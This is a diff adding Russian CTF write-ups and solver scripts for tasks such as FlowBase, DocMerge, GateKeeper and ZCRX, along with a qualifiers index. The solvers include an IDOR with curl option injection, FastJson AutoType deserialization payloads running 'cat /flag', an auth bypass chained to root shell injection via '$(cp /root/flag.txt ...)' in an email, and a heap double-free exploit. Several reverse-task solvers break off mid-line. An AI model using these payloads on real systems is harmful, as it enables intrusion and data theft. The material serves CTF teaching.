Сохранённый результат забираем через `GET /dl/leak.txt`. + +Доступ к версиям чужого потока раскрывает UUID, которого достаточно для запуска. Переданные переменные окружения становятся аргументами `curl`, позволяя скопировать закрытый файл в доступный каталог. + +[Солвер](solve/solve.py). + +## Флаг + +`CAPLAG{flowb4s3_webhook_def4ult_0ff}` diff --git a/finals/task11_flowbase/solve/solve.py b/finals/task11_flowbase/solve/solve.py new file mode 100644 index 0000000..a95e5aa --- /dev/null +++ b/finals/task11_flowbase/solve/solve.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 +"""FlowBase — автоматическое решение задания 11 (stdlib only). + +Цепочка: + 1. Регистрация -> bearer-токен. + 2. Перебор GET /api/flows/{1..40}/versions (IDOR) -> webhook UUID + админского потока с нодой system.run. + 3. Анонимный POST /webhooks/ /run с подменой переменных: + BACKUP_URL=file:///flag.txt, CURL_OPTS=-o /app/static/dl/ .txt + 4. GET /dl/ .txt -> флаг. + +Запуск: python solve.py http://localhost:18111 +""" +import json +import random +import string +import sys +import urllib.error +import urllib.request + + +def req(method, url, token=None, payload=None): + data = json.dumps(payload).encode() if payload is not None else None + r = urllib.request.Request(url, data=data, method=method) + if data is not None: + r.add_header("Content-Type", "application/json") + if token: + r.add_header("Authorization", "Bearer " + token) + try: + with urllib.request.urlopen(r) as resp: + return resp.status, resp.read() + except urllib.error.HTTPError as e: + return e.code, e.read() + + +def main(): + base = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:18111" + rnd = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) + user, password = f"solver_{rnd}", f"pw_{rnd}" + + print(f"[*] Цель: {base}") + + # 1. Регистрация. + code, body = req("POST", base + "/api/register", + payload={"username": user, "password": password}) + if code != 201: + sys.exit(f"[-] Регистрация не удалась: {code} {body!r}") + token = json.loads(body)["token"] + print(f"[+] Зарегистрирован {user}, токен получен") + + # 2. IDOR: перебор версий чужих потоков, ищем system.run. + webhook_uuid = None + flow_name = None + for fid in range(1, 41): + code, body = req("GET", f"{base}/api/flows/{fid}/versions", token=token) + if code != 200: + continue + data = json.loads(body) + version = next( + (ver for ver in reversed(data.get("versions", [])) + if ver.get("webhook_uuid") and any( + node.get("type") == "system.run" for node in ver.get("nodes", []) + )), + None, + ) + if version is not None: + webhook_uuid = version["webhook_uuid"] + flow_name = data["name"] + print(f"[+] IDOR: поток #{fid} '{flow_name}' " + f"(owner={data.get('owner')}), нода system.run, " + f"webhook UUID: {webhook_uuid}") + break + if not webhook_uuid: + sys.exit("[-] Поток с system.run не найден") + + # 3. Анонимный запуск вебхука с инъекцией опций curl через env. + out_name = f"leak_{rnd}.txt" + payload = {"env": { + "BACKUP_URL": "file:///flag.txt", + "CURL_OPTS": f"-s -o /app/static/dl/{out_name}", + }} + code, body = req("POST", f"{base}/webhooks/{webhook_uuid}/run", payload=payload) + if code != 200: + sys.exit(f"[-] Вебхук не сработал: {code} {body!r}") + print(f"[+] Вебхук исполнен без аутентификации: {body.decode().strip()}") + + # 4. Забираем результат из статической раздачи. + code, body = req("GET", f"{base}/dl/{out_name}") + if code != 200: + sys.exit(f"[-] Файл не появился в /dl/: {code} {body!r}") + flag = body.decode().strip() + print(f"[+] Содержимое /dl/{out_name}: {flag}") + + if flag.startswith("CAPLAG{"): + print(f"\nFLAG: {flag}") + else: + sys.exit("[-] Ответ не похож на флаг") + + +if __name__ == "__main__": + main() diff --git a/finals/task12_docmerge/WRITEUP.md b/finals/task12_docmerge/WRITEUP.md new file mode 100644 index 0000000..17a25e3 --- /dev/null +++ b/finals/task12_docmerge/WRITEUP.md @@ -0,0 +1,64 @@ + DocMerge
+ ++
+ +DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`. + +## Решение + +Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`. + +Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы: + +| Класс | Ответ фильтра | Вывод | +|---|---|---| +| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени | +| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр | +| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются | + +### Чтение через ScriptFilter + +`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`. + +Создаём этот фильтр внутри задания: + +```bash +curl -sS http://+
+
:18112/api/merge \ + -H 'Content-Type: application/json' \ + --data '{ + "title":"quarterly-report", + "documents":["doc one","doc two"], + "renderer":{"template":"default","filters":[ + {"@type":"com.docmerge.plugins.ScriptFilter", + "className":"com.docmerge.util.PreviewUtil", + "methodName":"readFile", + "argument":"/flag"} + ]} + }' +``` + +Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`. + +### Выполнение через LegacyExecutorV2 + +`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации: + +```json +{ + "title":"t", + "renderer":{"filters":[ + {"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"} + ]} +} +``` + +Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают. + +[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`. + +## Флаг + +`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}` diff --git a/finals/task12_docmerge/solve/solve.py b/finals/task12_docmerge/solve/solve.py new file mode 100644 index 0000000..d02048e --- /dev/null +++ b/finals/task12_docmerge/solve/solve.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +"""Автоматическое решение таска DocMerge (только stdlib). + +Запуск: python solve.py http://localhost:18112 +""" +import json +import re +import sys +import urllib.error +import urllib.request + +FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}") + + +def post_merge(base, payload): + data = json.dumps(payload).encode() + req = urllib.request.Request( + base + "/api/merge", data=data, + headers={"Content-Type": "application/json"}, method="POST") + try: + with urllib.request.urlopen(req, timeout=20) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + +def get(base, path): + try: + with urllib.request.urlopen(base + path, timeout=20) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + +def fingerprint(base): + """Три зонда: denylist / класс вне allowlist / разрешённый пакет.""" + probes = [ + ("denylist: java.lang.Runtime", + {"@type": "java.lang.Runtime"}), + ("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin", + {"@type": "com.docmerge.plugins.NoSuchPlugin"}), + ("вне allowlist: java.io.File", + {"@type": "java.io.File"}), + ] + for label, payload in probes: + status, body = post_merge(base, payload) + marker = "" + try: + marker = json.loads(body).get("message", "")[:120] + except ValueError: + marker = body[:120] + print(f"[*] probe ({label}) -> HTTP {status}: {marker}") + + +def exploit_script_filter(base): + """Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag').""" + payload = { + "title": "quarterly-report", + "documents": ["doc one", "doc two"], + "renderer": { + "template": "default", + "filters": [ + { + "@type": "com.docmerge.plugins.ScriptFilter", + "className": "com.docmerge.util.PreviewUtil", + "methodName": "readFile", + "argument": "/flag", + } + ], + }, + } + return post_merge(base, payload) + + +def exploit_legacy_executor_v2(base): + """Запасная цепочка: наследник denylist-класса проходит equals-проверку.""" + payload = { + "title": "quarterly-report", + "renderer": { + "filters": [ + { + "@type": "com.docmerge.plugins.LegacyExecutorV2", + "command": "cat /flag", + } + ] + }, + } + return post_merge(base, payload) + + +def main(): + base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/") + print(f"[*] target: {base}") + + status, body = get(base, "/api/plugins") + print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}") + + fingerprint(base) + + print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')") + status, body = exploit_script_filter(base) + match = FLAG_RE.search(body) + if match: + print(f"[+] flag: {match.group(0)}") + return + + print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2") + status, body = exploit_legacy_executor_v2(base) + match = FLAG_RE.search(body) + if match: + print(f"[+] flag: {match.group(0)}") + return + + print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/finals/task13_gatekeeper/WRITEUP.md b/finals/task13_gatekeeper/WRITEUP.md new file mode 100644 index 0000000..192bedc --- /dev/null +++ b/finals/task13_gatekeeper/WRITEUP.md @@ -0,0 +1,59 @@ + GateKeeper
+ ++
+ +GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя. + +## Решение + +### Получение прав администратора + +В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`. + +У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`. + +С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора: + +```json +{ + "username":"admin", + "old_password":"<пароль operator из бэкапа>", + "new_password":"gk_pwned_2026" +} +``` + +Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации. + +### Выполнение команды через email + +`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh+
+
`. У `gk` есть право запускать этот скрипт от root без пароля. + +Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек. + +Отправляем из администраторской сессии: + +```bash +curl -sS http:// :18113/admin/directory/sync \ + -b 'gk_session=<сессия admin>' \ + -H 'Content-Type: application/json' \ + --data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}' +``` + +Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи. + +Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`: + +```bash +curl -sS http:// :18113/public/f.txt +``` + +Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды. + +[Солвер](solve/solve.py). + +## Флаг + +`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}` diff --git a/finals/task13_gatekeeper/solve/solve.py b/finals/task13_gatekeeper/solve/solve.py new file mode 100644 index 0000000..51b4cc4 --- /dev/null +++ b/finals/task13_gatekeeper/solve/solve.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +# solve.py — автоматическое решение задания GateKeeper (только stdlib). +# +# Проходит все 4 слоя: +# 1. Info leak: GET /static/config.json.bak -> креды operator +# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ +# пользователем) -> меняем пароль admin, логинимся как admin +# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email +# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' +# 4. Exfil: GET /public/f.txt -> флаг +# +# Запуск: python solve.py http://localhost:18113 +import json +import re +import sys +import urllib.request +import urllib.error +import http.cookiejar + +PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' +EXFIL_PATH = "/public/f.txt" +FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}") + + +def make_client(base): + cj = http.cookiejar.CookieJar() + opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + + def req(method, path, body=None): + data = None + headers = {} + if body is not None: + data = json.dumps(body).encode() + headers["Content-Type"] = "application/json" + r = urllib.request.Request(base + path, data=data, headers=headers, method=method) + try: + with opener.open(r, timeout=15) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + return req + + +def step(msg): + print(f"[*] {msg}") + + +def ok(msg): + print(f"[+] {msg}") + + +def die(msg): + print(f"[-] FAIL: {msg}") + sys.exit(1) + + +def main(): + if len(sys.argv) != 2: + print(f"usage: python {sys.argv[0]} http://localhost:PORT") + sys.exit(2) + base = sys.argv[1].rstrip("/") + req = make_client(base) + + # --- Слой 1: info leak --- + step(f"слой 1: читаем {base}/static/config.json.bak") + code, text = req("GET", "/static/config.json.bak") + if code != 200: + die(f"config.json.bak недоступен (HTTP {code})") + m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S) + if not m: + die("пароль operator не найден в бэкапе конфига") + op_user, op_pass = "operator", m.group(1) + ok(f"утёкшие креды: {op_user}:{op_pass}") + + # --- Логин operator --- + step("логинимся как operator") + code, text = req("POST", "/login", {"username": op_user, "password": op_pass}) + if code != 200: + die(f"login operator: HTTP {code}: {text}") + ok("сессия operator получена") + + # --- Слой 2: auth bypass в смене пароля --- + step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password") + new_admin_pass = "gk_pwned_2026" + code, text = req("POST", "/account/password", { + "username": "admin", + "old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя + "new_password": new_admin_pass, + }) + if code != 200: + die(f"auth bypass не сработал: HTTP {code}: {text}") + ok("пароль admin перезаписан (old_password сверен с чужой учёткой)") + + # --- Логин admin --- + step("логинимся как admin") + code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass}) + if code != 200: + die(f"login admin: HTTP {code}: {text}") + ok("сессия admin получена") + + # --- Слой 3: command injection через RFC-valid email --- + step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}") + code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL}) + if code != 200: + die(f"sync: HTTP {code}: {text}") + ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}") + + # --- Слой 4: эксфильтрация --- + step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}") + code, text = req("GET", EXFIL_PATH) + if code != 200: + die(f"эксфильтрация не удалась: HTTP {code}") + m = FLAG_RE.search(text) + if not m: + die(f"файл получен, но флага нет: {text!r}") + ok("флаг получен!") + print() + print(m.group(0)) + + +if __name__ == "__main__": + main() diff --git a/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md b/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md new file mode 100644 index 0000000..c501f86 --- /dev/null +++ b/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md @@ -0,0 +1,37 @@ + Tollgate IIS
+ ++
+ +В раздатке есть IIS-модуль `TollgateIis.dll`. Он переписывает маршруты и скрывает дополнительный обработчик в зашифрованной таблице. Разбираем .NET-сборку в ILSpy или dnSpy. + +## Решение + +В классе `RouteModule` находим `Decode()` и три строки, из которых он собирает таблицу: + +| Поле | Значение и роль | +|---|---| +| `ValidationKey` | `31415926535897932384626433832795` — ключ AES | +| `DecryptionKey` | `27182818284590452353602874713526` — IV | +| `RouteTable` | `ROUTEv3:+
+
` — зашифрованный JSON | + +Названия ключей немного сбивают с толку, поэтому по коду `Decode()` определяем, что используется AES-128-CBC. Каждая hex-строка превращается в 16 байт, а у таблицы перед base64-декодированием отрезается `ROUTEv3:`. + +Сохраняем base64-тело таблицы без префикса `ROUTEv3:` одной строкой в `routes.b64` и повторяем расшифровку: + +```bash +openssl enc -d -aes-128-cbc \ + -K 31415926535897932384626433832795 \ + -iv 27182818284590452353602874713526 \ + -nosalt -A -base64 -in routes.b64 +``` + +Получаем JSON с флагом в поле `handler`. В живом приложении `OnBeginRequest` вызывает `Decode()` для пути с `seo`, но для статического разбора достаточно данных из DLL. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{machine_key_revealed_the_hidden_handler}` diff --git a/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py b/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py new file mode 100644 index 0000000..3316a1d --- /dev/null +++ b/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('WasmCoat + + +
+ +Android-клиент склада проверяет штрихкоды через WebAssembly. В раздатке есть `WasmCoatScanner.apk`, в котором нужно найти защитную конфигурацию. Ключ и данные разнесены между DEX и wasm, поэтому смотрим оба файла. + +## Решение + +Из APK достаём `classes.dex` и `assets/guard.wasm`. В DEX-коде загрузчика находим строку `wasmcoat-warehouse`, которая используется как ключ. + +Wasm начинается стандартной сигнатурой `\0asm\x01\0\0\0`. Дальше идёт последовательность секций: + +```text +id: u8 | размер: ULEB128 | содержимое секции +``` + +Нужны кастомные секции с `id = 0`. Внутри каждой сначала записаны длина имени в ULEB128 и само UTF-8-имя. Находим `wasmcoat.guard` и берём байты после её имени. + +> Размеры секций закодированы числами ULEB128, которые могут занимать разное количество байт. Если прочитать ULEB128 как обычный `u32`, границы секций съедут ещё до расшифровки. + +Полезная нагрузка секции скрыта повторяющимся XOR: + +```python +import json +import zipfile + +with zipfile.ZipFile("public/WasmCoatScanner.apk") as apk: + wasm = apk.read("assets/guard.wasm") + +def uleb(data, pos): + value = shift = 0 + while True: + byte = data[pos] + pos += 1 + value |= (byte & 0x7f) << shift + if not byte & 0x80: + return value, pos + shift += 7 + +assert wasm[:8] == b"\0asm\x01\0\0\0" +pos = 8 +while pos < len(wasm): + section_id = wasm[pos] + size, pos = uleb(wasm, pos + 1) + end = pos + size + if section_id == 0: + name_size, pos = uleb(wasm, pos) + name = wasm[pos:pos + name_size].decode() + if name == "wasmcoat.guard": + blob = wasm[pos + name_size:end] + break + pos = end +else: + raise ValueError("wasmcoat.guard не найдена") + +key = b"wasmcoat-warehouse" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +config = json.loads(plain) +print(config["target"]) +``` + +С правильной границей секции получаем JSON. Значение `target` — искомый флаг. Запуск WebAssembly для его извлечения не нужен. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{android_wasm_guard_table_unwrapped}` diff --git a/finals/wasmcoat-android-reverse-medium/solve/solve.py b/finals/wasmcoat-android-reverse-medium/solve/solve.py new file mode 100644 index 0000000..86bca59 --- /dev/null +++ b/finals/wasmcoat-android-reverse-medium/solve/solve.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Wheelhouse Beacon + ++
+
+
+ +В раздатке есть пакет `wheelhouse_beacon-0.4.2-py3-none-any.whl` из внутреннего ML/CI-зеркала. Один из этапов загрузки реализован в байткоде без исходного Python-модуля. Начинаем с содержимого архива и списка файлов в `*.dist-info/RECORD`. + +## Решение + +Среди обычных Python-модулей выделяется `wheelhouse_beacon/data/stage_gate.dat`. Содержимое файла распознаётся как LZMA. Извлекаем и распаковываем: + +```python +import lzma +import marshal +import types +import zipfile + +wheel_path = "public/wheelhouse_beacon-0.4.2-py3-none-any.whl" +with zipfile.ZipFile(wheel_path) as wheel: + packed = wheel.read("wheelhouse_beacon/data/stage_gate.dat") +stage = lzma.decompress(packed) +``` + +Внутри находится pyc с 16-байтным заголовком и marshal-объектом кода. Пропускаем заголовок и разбираем код, используя **Python 3.13**, под который собран артефакт. + +Флаг может находиться в константах вложенной функции, поэтому одного `code.co_consts` недостаточно. Обходим объекты рекурсивно: + +```python +code = marshal.loads(stage[16:]) + +def strings(code): + for value in code.co_consts: + if isinstance(value, str): + yield value + elif isinstance(value, types.CodeType): + yield from strings(value) + +print(next(value for value in strings(code) if value.startswith("caplag{"))) +``` + +Среди собранных строк находим значение, начинающееся с `caplag{`. При желании `dis.dis(code)` показывает, как стадия его использует, но для чтения флага исполнения пакета не требуется. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{wheel_record_led_to_the_lzma_stage}` diff --git a/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py b/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py new file mode 100644 index 0000000..0b37a2f --- /dev/null +++ b/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('ZCRX Broker + ++
+
+
+ +ZCRX Broker управляет буферами приёма без копирования. В раздатке есть ELF `zcrx-broker` без PIE. У сервиса собственный пул памяти. Два отложенных события могут вернуть один блок в список свободных дважды. Добиваемся выделения одного адреса двум объектам. Тогда запись в новый blob изменит поля действующего объекта прав. + +## Решение + +Создаём `niov view` через пункт `1`, label любой. Новый view имеет `refs = 1`. Для view `0` дважды вызываем `2) arm lifecycle event`: сначала путь `scrub`, затем `refill`. Оба события запоминают одно и то же состояние с одной ссылкой. + +В обоих снимках счётчик ссылок равен единице. Поэтому при выборе `3) drain lifecycle events` сервис обрабатывает оба события и дважды возвращает один и тот же блок в пул. В списке свободных теперь две записи с одним адресом — **double free в самописном аллокаторе**. + +Выделяем capability через пункт `4`: она занимает первую запись. Вторую пока оставляем в пуле. У capability есть закодированный обработчик, который можно прочитать через `5) inspect capability`, cap `0`. Значение `encoded_handler` сохраняем числом в `encoded_audit`. + +Обработчик по умолчанию — `audit_handler`, кодирование — XOR с pointer guard. Адреса функций берём из `readelf -sW public/zcrx-broker`, поскольку PIE выключен. Восстанавливаем guard и кодируем адрес экспорта: + +```python +ptr_guard = encoded_audit ^ audit_handler +encoded_export = export_handler ^ ptr_guard +``` + +Пункт `6) allocate blob` заберёт вторую запись того же блока. Blob и живая capability окажутся в одной памяти. Сначала готовим 176-байтную подделку. + +```python +import struct + +payload = struct.pack("+
+
= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen( + [args.binary], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + env=env, + ) + return Tube(proc=proc) + sock = socket.create_connection((args.host, args.port), timeout=5) + return Tube(sock=sock) + + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=31339) + parser.add_argument("--local", action="store_true") + parser.add_argument("--binary", default="../public/zcrx-broker") + parser.add_argument("--flag", default="caplag{double_returned_niov_shared_the_capability}") + args = parser.parse_args() + + audit_handler = symbol_value(args.binary, "audit_handler") + export_handler = symbol_value(args.binary, "export_handler") + + io = connect(args) + + choose(io, 1) + io.recvuntil(b"label:") + io.sendline(b"rx-preview-niov") + + for path in (b"scrub", b"refill"): + choose(io, 2) + io.recvuntil(b"path:") + io.sendline(path) + io.recvuntil(b"view:") + io.sendline(b"0") + + choose(io, 3) + io.recvuntil(b"free_count=") + io.recvuntil(b"\n") + + choose(io, 4) + io.recvuntil(b"cap 0 allocated") + + choose(io, 5) + io.recvuntil(b"cap:") + io.sendline(b"0") + io.recvuntil(b"encoded_handler=") + encoded_audit = int(io.recvuntil(b" rights=")[: -len(b" rights=")], 16) + ptr_guard = encoded_audit ^ audit_handler + encoded_export = export_handler ^ ptr_guard + + forged = struct.pack(" Сердце Сысолы + +Отборочный этап · writeups
+ ++
+ +[Оба этапа](../README.md) + +## Задания + ++
+
++ +Crypto · 3 разбора
+ +| Сложность | Таск | Описание | +|---|---|---| +|  | [SealTail](sealtail-crypto-easy/WRITEUP.md) | Дописываем неподписанную TLV-команду к капсуле с валидной RSA-подписью. | +|  | [ShardSlope](shardslope-crypto-easy/WRITEUP.md) | Восстанавливаем секрет Шамира по повторно использованному наклону. | +|  | [TagPreview](tagpreview-crypto-easy/WRITEUP.md) | Портим тег запечатанной заметки и читаем plaintext из ответа об ошибке. | + +++ +Forensic · 1 разбор
+ +| Сложность | Таск | Описание | +|---|---|---| +|  | [Runner Ashfall](runner-ashfall-forensic-hard/WRITEUP.md) | Восстанавливаем CI/CD-инцидент по десяти связанным ответам. | + +++ +OSINT · 2 разбора
+ +| Сложность | Таск | Описание | +|---|---|---| +| — | [Banani](banani/WRITEUP.md) | По кадру порта находим судно, контейнер из видео задержания и его TIR. | +| — | [Призрачный самолёт](prizrachniy-samolet/WRITEUP.md) | От аэропорта Игероте идём к исчезнувшему YV3338 и его последней позиции. | + +++ +PWN · 6 разборов
+ +| Сложность | Таск | Описание | +|---|---|---| +|  | [BioSignal Relay](biosignal-relay-pwn-hard/WRITEUP.md) | Перезаписываем дескриптор канала дополнительным CLP-заголовком. | +|  | [CommBridge](commbridge-pwn-medium/WRITEUP.md) | Раздуваем escaped-команду и переписываем права экспорта на стеке. | +|  | [CopyCache Runner](copycache-runner-pwn-hard/WRITEUP.md) | Меняем права и контрольную сумму политики прямо в кеше раннера. | +|  | [GumboGate](gumbogate-pwn-easy/WRITEUP.md) | Девятым атрибутом одной корзины затираем поле одобрения отчёта. | +|  | [HeifTrack](heiftrack-pwn-medium/WRITEUP.md) | Занимаем освобождённый chunk метаданными и используем висячий playback. | +|  | [LeaseMesh](lease-mesh-pwn-medium/WRITEUP.md) | Через утечку PIE и use-after-free подменяем обработчик маршрута. | + +++ +Reverse · 5 разборов
+ +| Сложность | Таск | Описание | +|---|---|---| +|  | [Chameleon Line](chameleon-line-dotnet-reverse-easy/WRITEUP.md) | Достаём AES-ключ и IV из .NET-строк и расшифровываем конфиг. | +|  | [CrateWatch](cratewatch-native-rust-reverse-hard/WRITEUP.md) | Находим секцию с конфигом среди Rust-обвязки и снимаем XOR. | +|  | [FvncLite](fvnclite-android-reverse-easy/WRITEUP.md) | Расшифровываем таблицу команд APK ключом из OpsService. | +|  | [Mileage MDM](mileage-mdm-ios-reverse-hard/WRITEUP.md) | Собираем XOR-ключ из seed профиля и открываем карту доказательства. | +|  | [Modbus Mirror](modbus-mirror-native-c-reverse-medium/WRITEUP.md) | Извлекаем встроенный конфиг Modbus и читаем сервисный ключ. | + +++ +--- + + diff --git a/qualifiers/banani/WRITEUP.md b/qualifiers/banani/WRITEUP.md new file mode 100644 index 0000000..f43de90 --- /dev/null +++ b/qualifiers/banani/WRITEUP.md @@ -0,0 +1,52 @@ +Web · 1 разбор
+ +| Сложность | Таск | Описание | +|---|---|---| +|  | [Launchlet](launchlet-web-medium/WRITEUP.md) | Через манифесты, фильтр workspace и server action получаем три флага. | + +Banani
+ ++
+ +На старте есть фотография порта и описание судна. Нужно определить порт, судно и контейнер, который оно перевозило. В ответе нужны название порта, IMO, номер контейнера и TIR. Ответ записываем по шаблону `caplag{PortName_IMO_XXXX0000000_TIR:XX/X00000XX/0000}`, в котором `X` обозначает заглавную латинскую букву, а `0` обозначает цифру. + ++
+
+ +## Решение + +Начинаем с геолокации. На снимке видны контейнерный терминал, краны, длинный причал и выход из гавани. Сопоставление с картой приводит в эстонский порт **Muuga**, где расположение причалов и контейнерной площадки совпадает. + ++
+
+ +Теперь ищем сине-белое судно на заднем плане. Сравниваем корпус, надстройку и расположение кранов с фотографией в [карточке VesselFinder](https://www.vesselfinder.com/vessels/details/9765873). Совпадение указывает на **BALTIC SPIRIT** с IMO `9765873`. Именно IMO нужен для ответа, название помогает связать судно с новостями. + ++
+
+ +Дальше находим [сюжет ERR о задержании судна эстонским спецназом](https://news.err.ee/1609932407/watch-estonia-s-special-forces-detain-a-suspected-smugglers-ship). В кадрах с камеры бойца появляется контейнер с маркировкой `SEGU 9696460`. Останавливаем видео на читаемом кадре и сохраняем номер без пробела. + ++
+
